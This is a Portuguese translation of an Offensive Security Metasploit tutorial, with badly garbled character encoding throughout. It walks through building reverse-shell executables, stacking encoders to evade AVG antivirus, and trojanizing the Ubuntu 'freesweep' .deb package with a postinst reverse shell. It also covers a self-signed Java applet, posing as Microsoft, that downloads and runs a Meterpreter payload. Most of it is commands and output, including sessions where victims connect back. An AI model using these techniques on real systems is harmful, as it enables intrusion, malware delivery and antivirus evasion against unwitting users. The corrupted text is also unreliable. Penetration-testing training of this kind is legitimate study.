2arece !etasploit est repleto de funcionalidades interessantes e 'teis. 9ma delas a capacidade de gerar um eAecutvel a partir de uma carga !etasploit. Esto pode ser muito 'til em situa6es como a engen aria social, se voc pode obter um usurio para eAecutar o pa<load para voc, no razo para atravessar o problema de eAplorar (ual(uer soft#are. 8e4amos um eAemplo rpido de como fazer isso. 8amos gerar uma carga s ell reverso, eAecut&lo em um sistema remoto, para receber o nosso escudo. 2ara fazer isso, vamos utilizar a ferramenta de lin a de comando msfpa<load. Este comando pode ser usado para a gerao de cargas a ser utilizado em diversas localidades e oferece uma variedade de op6es de sa5da, a partir de perl para * e crua. Estamos interessados na sa5da eAecutvel, (ue fornecida pelo comando C. 8amos gerar um s ell reverso Bindo#s eAecutvel (ue vai ligar de volta para n/s usando a porta ITII`. Observe (ue msfpa<load funciona da mesma maneira como msfcli em (ue voc pode acrescentar a letra KOK para o final da cadeia de comando para ver (uais op6es esto dispon5veis ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

para voc.
rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf0ayloa$ %in$o%s,s.ell>re-erse>t 0 O <ame: Jersion: "latform: Ar .: <ee$s A$min: Total siIe: #in$o%s Domman$ S.ellB Re-erse TD" ;nline )=H4 #in$o%s x6) <o !6H

"ro-i$e$ +y: -la$4@! -la$4@!S*mail5 om Basi o0tions: <ame Durrent Settin* 3333 333333333333333 'K;TL&<D se. LHOST L"ORT ==== Require$ 33333333 yes yes yes Ees ri0tion 33333333333 'xit te .nique: se.B t.rea$B 0ro ess T.e lo al a$$ress T.e lo al 0ort omman$ s.ell

Ees ri0tion: Donne t +a 1 to atta 1er an$ s0a%n a

rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf0ayloa$ %in$o%s,s.ell>re-erse>t 0 LHOST?1H!51)51@=51A@ L"ORT?A1AAH O <ame: #in$o%s Domman$ S.ellB Re-erse TD" ;nline Jersion: )=H4 "latform: #in$o%s Ar .: x6) <ee$s A$min: <o Total siIe: !6H "ro-i$e$ +y: -la$4@! -la$4@!S*mail5 om Basi o0tions: <ame Durrent Settin* 3333 333333333333333 'K;TL&<D se. LHOST 1H!51)51@=51A@ L"ORT A1AAH Require$ 33333333 yes yes yes Ees ri0tion 33333333333 'xit te .nique: se.B t.rea$B 0ro ess T.e lo al a$$ress T.e lo al 0ort omman$ s.ell

Ees ri0tion: Donne t +a 1 to atta 1er an$ s0a%n a

rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf0ayloa$ %in$o%s,s.ell>re-erse>t 0 LHOST?1H!51)51@=51A@ L"ORT?A1AAH K 2 ,tm0,15exe Dreate$ +y msf0ayloa$ (.tt0:,,%%%5metas0loit5 om)5 "ayloa$: %in$o%s,s.ell>re-erse>t 0 Len*t.: !6H O0tions: LHOST?1H!51)51@=51A@BL"ORT?A1AAH rootS+t:,0entest,ex0loits,frame%or1AT file ,tm0,15exe ,tm0,15exe: MS3EOS exe uta+le "' for MS #in$o%s (G&;) ;ntel 6@A6) A!3+it

O$, agora vamos ver, temos um eAecutvel do Bindo#s pronto para ir. Agora, vamos usar KD manipulador multi 1, (ue um esboo (ue manipula eAploits lanados fora do frame#or$.
rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf onsole TT TT TT TTTT TTTTTT TTTT TTTTT TTTTT TTTTTTT TT TT TT TT TT TT TT TTTTTTT TTTTTT TT TTTTT TTTT TT TT TT T TT TT TT TT TT TT TTTTT TTT TT TT TT TT TTTT TT TT TT TT TT TT TT TT TTTTTT TTT TT TT TT TT TT

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

TT

TT

TTTT TTT

TTTTT

TTTTT

TT TT

TTTT

TTTT

TTTT TTT

?7 Q 33 33?7 Q 33 33?7 ?7

metas0loit -A5A3r 1 7 ore:A5A a0i:15@9 AH1 ex0loits 3 !A= 0ayloa$s !@ en o$ers 3 H no0s 1=4 aux

msf 2 use ex0loit,multi,.an$ler msf ex0loit(.an$ler) 2 s.o% o0tions Mo$ule o0tions: <ame 3333 Durrent Settin* 333333333333333 Require$ 33333333 Ees ri0tion 33333333333

'x0loit tar*et: ;$ 33 @ <ame 3333 #il$ ar$ Tar*et

Ao usar o KeAploit D multi D manipulador 1do m/dulo, (ue ainda precisa dizer a ele (ue a carga de espera para (ue configur&lo para ter as mesmas configura6es (ue o ar(uivo eAecutvel gerado.
msf ex0loit(.an$ler) 2 set 0ayloa$ %in$o%s,s.ell,re-erse>t 0 0ayloa$ ?2 %in$o%s,s.ell,re-erse>t 0 msf ex0loit(.an$ler) 2 s.o% o0tions Mo$ule o0tions: <ame 3333 Durrent Settin* 333333333333333 Require$ 33333333 Ees ri0tion 33333333333

"ayloa$ o0tions (%in$o%s,s.ell,re-erse>t 0): <ame 3333 'K;TL&<D LHOST L"ORT Durrent Settin* 333333333333333 t.rea$ ==== Require$ 33333333 yes yes yes Ees ri0tion 33333333333 'xit te .nique: se.B t.rea$B 0ro ess T.e lo al a$$ress T.e lo al 0ort

'x0loit tar*et: ;$ 33 @ <ame 3333 #il$ ar$ Tar*et

msf ex0loit(.an$ler) 2 set LHOST 1H!51)51@=51A@ LHOST ?2 1H!51)51@=51A@ msf ex0loit(.an$ler) 2 set L"ORT A1AAH L"ORT ?2 A1AAH msf ex0loit(.an$ler) 2

Agora (ue temos tudo configurado e pronto para ir, corremos KeAplorarK para o manipulador D multi e eAecutar o nosso eAecutvel gerado na v5tima. O manipulador D multi manipula a eAplorar para n/s e apresenta&nos o nosso escudo.
msf ex0loit(.an$ler) 2 ex0loit 789 Han$ler +in$in* to LHOST @5@5@5@ 789 Starte$ re-erse .an$ler

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

789 Startin* t.e 0ayloa$ .an$ler555 789 Sen$in* sta*e (=H= +ytes) 789 Domman$ s.ell session ! o0ene$ (1H!51)51@=51A@:A1AAH 32 1H!51)51@=51!6:11(@) Mi rosoft #in$o%s K" 7Jersion (515!)@@9 (D) Do0yri*.t 146(3!@@1 Mi rosoft Dor05 D:UEo uments an$ Settin*sURimUMy Eo uments2

Anti(irus 9:pass
*omo vimos, as cargas !etasploit binrio grande trabal o. 0o entanto, um pouco de uma complicao. A maioria dos sistemas baseados em Bindo#s funciona atualmente algum tipo de proteo anti& v5rus, devido 7 difuso generalizada de soft#are malicioso visando a plataforma. 8amos fazer o nosso eAemplo um pouco mais do mundo real, e instalar a verso gratuita do A8O no sistema e ver o (ue acontece.

Gogo, a nossa carga fica detectado. 8amos ver se algo (ue podemos fazer para impedir (ue isso se4a descoberto pelo A8O. 8amos codificar o nosso eAecutvel produzido em uma tentativa de tornar mais dif5cil de descobrir. 0/s usamos a codificao anterior, (uando a eAplorao de soft#are para evitar mau carter por isso vamos ver se podemos fazer uso dele a(ui. 9saremos o comando do programa msfencode lin a. 8amos ol ar para algumas das op6es, eAecutando msfencode com a opo K& K. oot;bt4</pentest/e"ploits/f a!e5o k3P 6/!sfencode -9 .sa$e< 6/!sfencode ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

+%T8+M/< -a -b -c -e -9 -i -l -! -n -o -s -t 3b7I pe T9e T9e T9e T9e a c9itect3 e to encode as list of c9a acte s to a'oid< 4"00"ff4 n3!be of ti!es to encode t9e data encode to 3se 0elp banne #ncode t9e contents of t9e s3pplied file pat9 Sist a'ailable encode s /pecifies an additional !od3le sea c9 pat9 )3!p encode info !ation T9e o3tp3t file T9e !a"i!3! size of t9e encoded data T9e fo !at to displa7 t9e encoded b3ffe 5it9 B a5I lI cI e"eI 'baH

8amos ver o (ue os codificadores esto dispon5veis para n/s atravs da eAecuo 1msfencode&l K.

rootS+t=:,0entest,ex0loits,frame%or1AT 5,msfen o$e 3l Lrame%or1 'n o$ers ?????????????????? <ame 3333 m$,*eneri >s. *eneri ,none mi0s+e,lon*xor mi0sle,lon*xor 0.0,+ase)= 00 ,lon*xor 00 ,lon*xor>ta* s0ar ,lon*xor>ta* x6),al0.a>mixe$ x6),al0.a>u00er x6),a-oi$>utf6>tolo%er x6), all=>$%or$>xor x6), ount$o%n x6),fnsten->mox6),Gm0> all>a$$iti-e x6),nonal0.a x6),nonu00er x6),s.i1ata>*a>nai x6),uni o$e>mixe$ x6),uni o$e>u00er Ran1 3333 normal normal normal normal normal normal normal normal lo% lo% manual normal normal normal *reat lo% lo% ex ellent manual manual Ees ri0tion 33333333333 Generi S.ell Jaria+le Su+stitution Domman$ 'n o$er T.e "none" 'n o$er KOR 'n o$er KOR 'n o$er "H" Base)= en o$er ""D Lon*KOR 'n o$er ""D Lon*KOR 'n o$er S"ARD E#ORE KOR 'n o$er Al0.a! Al0.anumeri Mixe$ ase 'n o$er Al0.a! Al0.anumeri &00er ase 'n o$er A-oi$ &TL6,tolo%er DallQ= E%or$ KOR 'n o$er Sin*le3+yte KOR Dount$o%n 'n o$er Jaria+le3len*t. Lnsten-,mo- E%or$ KOR 'n o$er "olymor0.i Rum0,Dall KOR A$$iti-e Lee$+a 1 'n o$er <on3Al0.a 'n o$er <on3&00er 'n o$er "olymor0.i KOR A$$iti-e Lee$+a 1 'n o$er Al0.a! Al0.anumeri &ni o$e Mixe$ ase 'n o$er Al0.a! Al0.anumeri &ni o$e &00er ase 'n o$er

EAcelente. 2odemos ver nossas op6es e alguns encoders diferentes (ue podemos utilizar. 8amos usar a sa5da de msfpa<load&primas, e tubulao (ue como entrada para msfencode usando o 1% i$ata ga nai encoder1 +traduzido como 1no pode ser a4udado1 ou 1nada pode ser feito sobre isso1,. 3e l, n/s vamos uma sa5da binria do Bindo#s

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

oot;bt4</pentest/e"ploits/f a!e5o k3P 6/!sfpa7load 5indo5s/s9ell> e'e se>tcp S0+/T?17261661046130 S%+1T?31337 1 V 6/!sfencode -e "86/s9ikata>$a>nai -t e"e = /t!p/26e"e EGF "86/s9ikata>$a>nai s3cceeded 5it9 size 315 Bite ation?1H oot;bt</pentest/e"ploits/f a!e5o k3P file /t!p/26e"e /t!p/26e"e< M/-)+/ e"ec3table %# fo M/ Rindo5s B-.8H 8ntel 80386 32-bit

2erfeito: 8amos agora transferir o binrio para outro sistema e ver o (ue acontece. E ...

Pem, isso no bom. Ele ainda est sendo descoberto por A8O. Pem, no podemos deiAar A8O gan a, no R 8amos ficar um pouco louco com ela, e usar trs diferentes codificadores, dois dos (uais vamos dizer (ue ele se4a eAecutado atravs de T. vezes cada, para um total de =T codifica. ?rata&se de codificao, tanto (uanto n/s podemos fazer e ainda tem um binrio de trabal o. A8O nunca vai passar disso:
rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf0ayloa$ %in$o%s,s.ell>re-erse>t 0 LHOST?1H!51)51@=51A@ L"ORT?A1AAH R Y 5,msfen o$e 3e x6),s.i1ata>*a>nai 3t ra% 3 1@ Y 5,msfen o$e 3e x6), all=>$%or$>xor 3t ra% 3 1@ Y 5,msfen o$e 3e x6), ount$o%n 3t exe 2 ,tm0,)5exe 789 x6),s.i1ata>*a>nai su ee$e$ %it. siIe A1( (iteration?1) 789 x6),s.i1ata>*a>nai su 789 x6),s.i1ata>*a>nai su 789 x6),s.i1ata>*a>nai su 789 x6),s.i1ata>*a>nai su 789 x6),s.i1ata>*a>nai su 789 x6),s.i1ata>*a>nai su 789 x6),s.i1ata>*a>nai su 789 x6),s.i1ata>*a>nai su 789 x6),s.i1ata>*a>nai su 789 x6), all=>$%or$>xor su 789 x6), all=>$%or$>xor su 789 x6), all=>$%or$>xor su 789 x6), all=>$%or$>xor su 789 x6), all=>$%or$>xor su 789 x6), all=>$%or$>xor su 789 x6), all=>$%or$>xor su 789 x6), all=>$%or$>xor su 789 x6), all=>$%or$>xor su 789 x6), all=>$%or$>xor su ee$e$ %it. siIe A=! (iteration?!) ee$e$ %it. siIe A)4 (iteration?A) ee$e$ %it. siIe A4) (iteration?=) ee$e$ %it. siIe =!A (iteration?() ee$e$ %it. siIe =(@ (iteration?)) ee$e$ %it. siIe =HH (iteration?H) ee$e$ %it. siIe (@= (iteration?6) ee$e$ %it. siIe (A1 (iteration?4) ee$e$ %it. siIe ((6 (iteration?1@) ee$e$ %it. siIe (6) (iteration?1) ee$e$ %it. siIe )1= (iteration?!) ee$e$ %it. siIe )=! (iteration?A) ee$e$ %it. siIe )H@ (iteration?=) ee$e$ %it. siIe )46 (iteration?() ee$e$ %it. siIe H!) (iteration?)) ee$e$ %it. siIe H(= (iteration?H) ee$e$ %it. siIe H6! (iteration?6) ee$e$ %it. siIe 61@ (iteration?4) ee$e$ %it. siIe 6A6 (iteration?1@)

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

789 x6), ount$o%n su

ee$e$ %it. siIe 6() (iteration?1)

rootS+t=:,0entest,ex0loits,frame%or1AT file ,tm0,)5exe ,tm0,)5exe: MS3EOS exe uta+le "' for MS #in$o%s (G&;) ;ntel 6@A6) A!3+it

O$, vamos copiar o binrio, eAecute&o aaaannnnd ....

0/s no: Ainda descoberto pelo A8O: *omo ser (ue vamos passar por issoR Pem, acontece (ue eAiste uma boa razo para isso. !etasploit suporta dois tipos diferentes de cargas. O primeiro tipo, como K4anela s ell[reverse[tcp DK, contm todos os c/digos necessrios para a carga. Os outros, como KBindo#s % ell D reverse[tcpK funciona um pouco diferente. Bindo#s Ks ell D reverse[tcp 1contm o c/digo apenas o suficiente para abrir uma coneAo de rede e, em seguida a fase de carregamento do restante do c/digo eAigido pela eAplorao da m(uina atacantes. Assim, no caso de 14anelas de s ell D reverse[tcp D K, feita uma ligao de volta para o sistema de atacante, o restante da carga carregado na mem/ria, e, em seguida, um escudo fornecido. Ento, o (ue significa isto para antiv5rusR Pem, funciona mais em tecnologia antiv5rus baseados em assinatura. O c/digo utilizado por 1#indo#s D s ell[reverse[tcp K its essas assinaturas e est marcado pelo A8O imediatamente. 2or outro lado, a carga encenado, 1#indo#s D s ell D reverse[tcp1 no contm a assinatura (ue o A8O est procurando, e assim , portanto, desperdiada. Alm disso, por conter menos c/digo, menos para o programa anti&v5rus para trabal ar, como se a assinatura feita demasiado genrica, a taAa de falsos positivos vai para cima e para frustrar os usurios por provocar em soft#are no&malicioso. *om isso em mente, vamos gerar um 1#indo#s D s ell D reverse[tcp1 encenado como uma carga eAcutable.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

oot;bt4</pentest/e"ploits/f a!e5o k3P 6/!sfpa7load 5indo5s/s9ell/ e'e se>tcp S0+/T?17261661046130 S%+1T?31337 W = /t!p/76e"e & eated b7 !sfpa7load B9ttp<//5556!etasploit6co!H6 %a7load< 5indo5s/s9ell/ e'e se>tcp Sen$t9< 278 +ptions< S0+/T?17261661046130IS%+1T?31337 oot;bt4</pentest/e"ploits/f a!e5o k3P file /t!p/76e"e /t!p/76e"e< M/-)+/ e"ec3table %# fo M/ Rindo5s B-.8H 8ntel 80386 32-bit O$, agora vamos copi&lo para o sistema remoto e eAecut&lo, ento ve4a o (ue acontece.
rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf li ex0loit,multi,.an$ler "AMLOAE?%in$o%s,s.ell,re-erse>t 0 LHOST?1H!51)51@=51A@ L"ORT?A1AAH ' 789 "lease %ait %.ile %e loa$ t.e mo$ule tree555 789 Han$ler +in$in* to LHOST @5@5@5@ 789 Starte$ re-erse .an$ler 789 Startin* t.e 0ayloa$ .an$ler555 789 Sen$in* sta*e (=H= +ytes) 789 Domman$ s.ell session 1 o0ene$ (1H!51)51@=51A@:A1AAH 32 1H!51)51@=51!6:1(=6) Mi rosoft #in$o%s K" 7Jersion (515!)@@9 (D) Do0yri*.t 146(3!@@1 Mi rosoft Dor05 D:UEo uments an$ Settin*sURimUMy Eo uments2$ir $ir Jolume in $ri-e D .as no la+el5 Jolume Serial <um+er is '=!A3'H!) Eire tory of D:UEo uments an$ Settin*sURimUMy Eo uments @(,!H,!@@4 @4:() "M 5 @(,!H,!@@4 @4:() "M 55 @(,!(,!@@4 @4:A) "M 4BH!6 H5exe @(,!(,!@@4 11:=) "M Eo%nloa$s 1@,!4,!@@6 @(:(( "M My Musi 1@,!4,!@@6 @(:(( "M My "i tures 1 Lile(s) 4BH!6 +ytes ( Eir(s) A6B)((B)1=B4H) +ytes free D:UEo uments an$ Settin*sURimUMy Eo uments2

%ucesso: Antiv5rus no provocaram neste novo palco de carga. *onseguimos evadido antiv5rus no sistema, e entregues a nossa carga.

Pinar< GinuA ?ro4ans


A fim de demonstrar (ue os ata(ues do lado do cliente e tro4ans no so eAclusivos para o mundo Bindo#s, vamos um pacote de carga !etasploit com um pacote deb do 9buntu para nos dar um ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

s ell no GinuA. 9m eAcelente v5deo foi feito por @edmeat[u$ demonstrar esta tcnica (ue voc pode ver na ttpLDDsecurit<tube.netD9buntu&2ac$age&Pac$door&using&a&!etasploit&2a<load&video.aspA 2rimeiro precisamos baiAar o pacote (ue n/s estamos indo para infectar e mov&lo para um diret/rio temporrio de trabal o. 0o nosso eAemplo, usaremos o pacote Kfrees#eepK, uma verso baseada em teAto de !ine %#eeper. oot;bt4</pentest/e"ploits/f a!e5o k3P apt-$et --do5nload-onl7 install f ees5eep 1eadin$ packa$e lists666 )one B3ildin$ dependenc7 t ee 1eadin$ state info !ation666 )one 666snip666 oot;bt4</pentest/e"ploits/f a!e5o k3P !kdi /t!p/e'il oot;bt4</pentest/e"ploits/f a!e5o k3P !' /'a /cac9e/apt/a c9i'es/f ees5eep>0690-1>i3866deb /t!p/e'il oot;bt4</pentest/e"ploits/f a!e5o k3P cd /t!p/e'il/ oot;bt4</t!p/e'ilP Em seguida, precisamos eAtrair o pacote para um diret/rio de trabal o e criar um diret/rio 3EPEA0 para manter nosso acrescentavam 1features1. oot;'-bt4-p e</t!p/e'ilP dpk$ -" f ees5eep>0690-1>i3866deb 5o k oot;'-bt4-p e</t!p/e'ilP !kdi 5o k/)#B8JM 0o diret/rio KdebianK, crie um ar(uivo c amado KcontroleK (ue contm o seguinteL
rootS+t=:,tm0,e-il,%or1,E'B;A<T at ontrol "a 1a*e: frees%ee0 Jersion: @54@31 Se tion: Games an$ Amusement "riority: o0tional Ar .ite ture: iA6) Maintainer: &+untu MOT& Ee-elo0ers (u+untu3motuSlists5u+untu5 om) Ees ri0tion: a text3+ase$ mines%ee0er Lrees%ee0 is an im0lementation of t.e 0o0ular mines%ee0er *ameB %.ere one tries to fin$ all t.e mines %it.out i*nitin* anyB +ase$ on .ints *i-en +y t.e om0uter5 &nli1e most im0lementations of t.is *ameB Lrees%ee0 %or1s in any -isual text $is0lay 3 in Linux onsoleB in an xtermB an$ in most text3+ase$ terminals urrently in use5

0/s tambm precisamos criar um script p/s&instalao (ue ir eAecutar nosso binrio. Em nosso K3ebianK, vamos criar um ar(uivo c amado Kpostinst 1, (ue contm o seguinteL
rootS+t=:,tm0,e-il,%or1,E'B;A<T T/,+in,s. su$o b at 0ostinst

.mo$ !H(( ,usr,*ames,frees%ee0>s ores bb ,usr,*ames,frees%ee0>s ores b ,usr,*ames,frees%ee0

Agora vamos criar a nossa carga maliciosa. 0/s estaremos criando um s ell reverso para ligar de volta para n/s com o nome Kfrees#eep[scores. ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf0ayloa$ linux,x6),s.ell,re-erse>t 0 LHOST?14!51)65151@1 L"ORT?==A K 2 ,tm0,e-il,%or1,usr,*ames,frees%ee0>s ores Dreate$ +y msf0ayloa$ (.tt0:,,%%%5metas0loit5 om)5 "ayloa$: linux,x6),s.ell,re-erse>t 0 Len*t.: (@ O0tions: LHOST?14!51)65151@1BL"ORT?==A

8amos agora fazer o nosso script p/s&instalao eAecutvel e construir o nosso novo pacote. O ar(uivo ser constru5do com o nome K#or$.deb 1assim (ue n/s (ueremos mudar isso para1 frees#eep.deb e copie o pacote para o nosso diret/rio raiz #eb.
rootS+t=:,tm0,e-il,%or1,E'B;A<T .mo$ H(( 0ostinst rootS+t=:,tm0,e-il,%or1,E'B;A<T $01*3$e+ 33+uil$ ,tm0,e-il,%or1 $01*3$e+: +uil$in* 0a 1a*e Zfrees%ee0' in Z,tm0,e-il,%or15$e+'5 rootS+t=:,tm0,e-ilT m- %or15$e+ frees%ee05$e+ rootS+t=:,tm0,e-ilT 0 frees%ee05$e+ ,-ar,%%%,

%e ele no estiver funcionando, vamos precisar para iniciar o servidor #eb Apac e.
rootS+t=:,tm0,e-ilT ,et ,init5$,a0a .e! start

8amos precisar de configurar o multi !etasploit D manipulador para receber a coneAo de entrada.
rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf li ex0loit,multi,.an$ler "AMLOAE?linux,x6),s.ell,re-erse>t 0 LHOST?14!51)65151@1 L"ORT?==A ' 789 "lease %ait %.ile %e loa$ t.e mo$ule tree555 789 Han$ler +in$in* to LHOST @5@5@5@ 789 Starte$ re-erse .an$ler 789 Startin* t.e 0ayloa$ .an$ler555

Em nossa v5tima 9buntu, temos alguma convico (ue o usurio baiAe e instale o nosso 4ogo novo impressionante.
u+untuSu+untu:a[ %*et .tt0:,,14!51)65151@1,frees%ee05$e+ u+untuSu+untu:a[ su$o $01* 3i frees%ee05$e+

*omo a v5tima instala e 4oga o nosso 4ogo, n/s recebemos um escudo:

789 Sen$in* sta*e (A) +ytes) 789 Domman$ s.ell session 1 o0ene$ (14!51)65151@1:==A 32 14!51)65151H(:11!4) if onfi* et.1 Lin1 en a0:'t.ernet H#a$$r @@:@D:!4:D!:'H:') inet a$$r:14!51)65151H( B ast:14!51)6515!(( Mas1:!((5!((5!((5@ &" BROAEDAST R&<<;<G M&LT;DAST MT&:1(@@ Metri :1 RK 0a 1ets:=4 errors:@ $ro00e$:@ o-erruns:@ frame:@ TK 0a 1ets:(1 errors:@ $ro00e$:@ o-erruns:@ arrier:@ ollisions:@ txqueuelen:1@@@ RK +ytes:=A!A@ (=!5! XiB) TK +ytes:=)@A (=5= XiB) ;nterru0t:1H Base a$$ress:@x1=@@ 555sni0555 .ostname u+untu i$ ui$?@(root) *i$?@(root) *rou0s?@(root)

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Ua(a App&et In0ection


Zos ua Abra am +4abra, publicou um eAcelente artigo (ue foi baseado em uma palestra proferida na *onferncia !undial Enfosec com @afal Gos e pode ser encontrada em ttpLDDblog.spl.it.org. Essencialmente, o (ue os dois foram capazes de fazer construir um applet Zava (ue, uma vez eAecutado em um navegador realmente nos permite eAecutar uma carga !eterpreter se o destino aceita o aviso de segurana. Antes de mergul armos isso, precisamos cumprir alguns pr&re(uisitos em nossa m(uina atacantes antes de comear. oot;bt4</P apt-$et install s3n-Za'a6-Zdk Zabra simplificou a maior parte do processo com o script bas abaiAo para reduzir os erros de entrada. 8oc pode baiAar este script emL ttpLDDspl.it.orgDfilesDma$eapplet.s
T/,+in,+as. T T S.ell s ri0t to si*n a Ra-a A00let T Ros.ua "Ra+ra" A+ra.am `Ga+raSs0l@it5or*2 T Tue Run A@ @!:!):A) 'ET !@@4 T T 15 Dom0ile t.e A00let sour e o$e to an exe uta+le lass5 T T Ga-a Hello#orl$5Ga-a T T !5 "a 1a*e t.e om0ile$ lass into a RAR file5 T T Gar -f Hello#orl$5Gar Hello#orl$5 lass T T A5 Generate 1ey 0airs5 T T 1eytool *en1ey 3alias si*na00let 31eystore my1eystore 31ey0ass my1ey0ass 3store0ass mystore0ass T T =5 Si*n t.e RAR file5 T T Garsi*ner 31eystore my1eystore 3store0ass mystore0ass 31ey0ass my1ey0ass 3 si*ne$Gar Si*ne$Hello#orl$5Gar T Hello#orl$5Gar si*na00let T T (5 'x0ort t.e 0u+li 1ey ertifi ate5 T T 1eytool 3ex0ort 31eystore my1eystore 3store0ass mystore0ass 3alias si*na00let 3file my ertifi ate5 er T T )5 Ee0loy t.e RAR an$ t.e lass file5 T T `a00let o$e?"Hello#orl$5 lass" ar .i-e?"Si*ne$Hello#orl$5Gar" %i$t.?1 .ei*.t?12 `,a00let2 T e .o "'nter t.e name of t.e a00let %it.out t.e extension:" rea$ <AM'Ga-a [<AM'5Ga-aif 7 [F 3eq 1 9 V t.en e .o "'rror %it. Ga-a " exit fi e .o Gar if 7 e .o "7Q9 "a 1a*in* t.e om0ile$ f [<AM'5Gar [<AM'5 lass [F 3eq 1 9 V t.en "'rror %it. Gar" lass into a RAR file"

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

exit fi e .o "7Q9 Generatin* 1ey 0airs" 1eytool 3*en1ey 3alias si*na00let 31eystore my1eystore 31ey0ass my1ey0ass 3store0ass mystore0ass if 7 [F 3eq 1 9 V t.en e .o "'rror %it. *eneratin* t.e 1ey 0air" exit fi e .o "7Q9 Si*nin* t.e RAR file" Garsi*ner 31eystore my1eystore 3store0ass mystore0ass 31ey0ass my1ey0ass 3si*ne$Gar "Si*ne$[<AM'5Gar" [<AM'5Gar si*na00let if 7 [F 3eq 1 9 V t.en e .o "'rror %it. si*nin* t.e Gar" exit fi e .o "7Q9 'x0ortin* t.e 0u+li 1ey ertifi ate" 1eytool 3ex0ort 31eystore my1eystore 3store0ass mystore0ass 3alias si*na00let 3file my ertifi ate5 er if 7 [F 3eq 1 9 V t.en e .o "'rror %it. ex0ortin* t.e 0u+li 1ey" exit fi e .o "7Q9 Eone" slee0 1 e .o "" e .o "" e .o "Ee0loy t.e RAR an$ ertifi ate files5 T.ey s.oul$ +e $e0loye$ to a $ire tory on a #e+ ser-er5" e .o "" e .o "`a00let %i$t.?'1' .ei*.t?'1' o$e?'[<AM'5 lass' ar .i-e?'Si*ne$[<AM'5Gar'2 " e .o ""

8amos agora fazer um diret/rio de trabal o para n/s, para armazenar o ar(uivo e depois agarr&lo de seu site ou copie e cole no seu editor de teAto favorito.
rootS+t=:,T m1$ir 5,Ga-a3a00let rootS+t=:,T $ 5,Ga-a3a00let

2recisamos fazer um applet Zava (ue iremos assinar. 2ara isso, vamos copiar e colar o teAto abaiAo no seu editor de teAto favorito e salve&o comoL 1!%"cmd.4ava1. 2ara o restante deste m/dulo, abra seu editor de deiAar (ue voc vai precisar alterar alguns parFmetros 7 medida (ue avanamos com este m/dulo.
im0ort Ga-a5a00let58V im0ort Ga-a5a%t58V im0ort Ga-a5io58V 0u+li lass MSL m$ exten$s A00let W 0u+li -oi$ init() W "ro ess fV Strin* first ? *et"arameter("first")V try W f ? Runtime5*etRuntime()5exe ("first")V \ at .(;O'x e0tion e) W e50rintSta 1Tra e()V \ "ro ess sV \ \

Em seguida, vamos usar Zabras s ell script para nos a4udar a fazer o nosso certificado. O seguinte ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

comando ir fazer o do#nload do script, torn&lo eAecutvel e em seguida, iniciar o script para produzir o certs.
rootS+t=:,Ga-a3a00let,T %*et .tt0:,,s0l@it5or*,files,ma1ea00let5s. bb rootS+t=:,Ga-a3a00let,T 5,ma1ea00let5s. 'nter t.e name of t.e a00let %it.out t.e extension: MSL m$ 7Q9 "a 1a*in* t.e om0ile$ lass into a RAR file 7Q9 Generatin* 1ey 0airs #.at is your first an$ last nameF 7&n1no%n9: MSL m$ #.at is t.e name of your or*aniIational unitF 7&n1no%n9: Mi rosoft #.at is t.e name of your or*aniIationF 7&n1no%n9: Mi rosoft Or*aniIation #.at is t.e name of your Dity or Lo alityF 7&n1no%n9: Re$mon$ #.at is t.e name of your State or "ro-in eF 7&n1no%n9: #as.in*ton #.at is t.e t%o3letter ountry o$e for t.is unitF 7&n1no%n9: &S ;s D<?MSL m$B O&?Mi rosoftB O?Mi rosoft Or*aniIationB L?Re$mon$B ST?#as.in*tonB D?&S 7no9: yes 7Q9 Si*nin* t.e RAR file #arnin*: T.e si*ner ertifi ate %ill ex0ire %it.in six mont.s5 7Q9 'x0ortin* t.e 0u+li 1ey ertifi ate Dertifi ate store$ in file 7Q9 Eone .mo$ aQx 5,ma1ea00let5s.

orre tF

Agora (ue tudo est configurado para n/s, precisamos implantar o ZA@ eo ar(uivo de classe.
rootS+t=:,Ga-a3a00let,T rootS+t=:,Ga-a3a00let,T 0 Si*ne$MSL m$5Gar ,-ar,%%%, 0 MSL m$5 lass ,-ar,%%%,

rootS+t=:,Ga-a3a00let,T a0a .e! tl start

Agora (ue o applet for implantado, teremos (ue criar uma carga !eterpreter. !udana KCCCCK nos eAemplos a seguir para os teus atacantes endereo E2. Esse comando usa msfpa<load criar um @everse ?*2 !eterpreter % ell com a nossa v5tima. Oeramos essa carga em formato @AB e canaliz&lo em msfencode, poupando a carga como um ar(uivo eAecutvel. O eAecutvel copiado para o nosso diret/rio raiz #eb e fez eAecutvel.
rootS+t=:,0entest,ex0loits,frame%or1A,T 5,msf0ayloa$ %in$o%s,meter0reter,re-erse>t 0 LHOST?K5K5K5K L"ORT?==A R Y 5,msfen o$e 3t exe 3o my5exe rootS+t=:,0entest,ex0loits,frame%or1A,T rootS+t=:,0entest,ex0loits,frame%or1A,T 0 5,my5exe ,-ar,%%%, .mo$ aQx ,-ar,%%%,my5exe

Agora precisamos adicionar um comando no nosso ar(uivo indeA. tml (ue permitir ao cliente fazer o do#nload e eAecutar a nossa carga. Pasicamente, esta pgina vai lanar uma aplicao em 4ava, assinado por n/s mesmos, (ue, (uando dado a permisso do cliente, ento c amada cmd.eAe do seu sistema, ecoando as lin as em um script vbs c amado 1apsou.vbs1. Este4a avisado (ue este ar(uivo pode ser encontrado no sistema depois de tudo bem&sucedido e 1algumas tentativas1 fal ou. Ap/s este ar(uivo criado, a mesma cadeia de comando inicia o script vbs e alimenta uma varivel, os atacantes lin$ para a carga 1!<.eAe1. 9ma vez (ue a carga foi descarregada ento eAecutar !<.eAe com (ue as permiss6es de usurios. 2recisamos modificar a nossa pgina indeA. tml (ue nossos clientes vo ver. Em um cenrio de 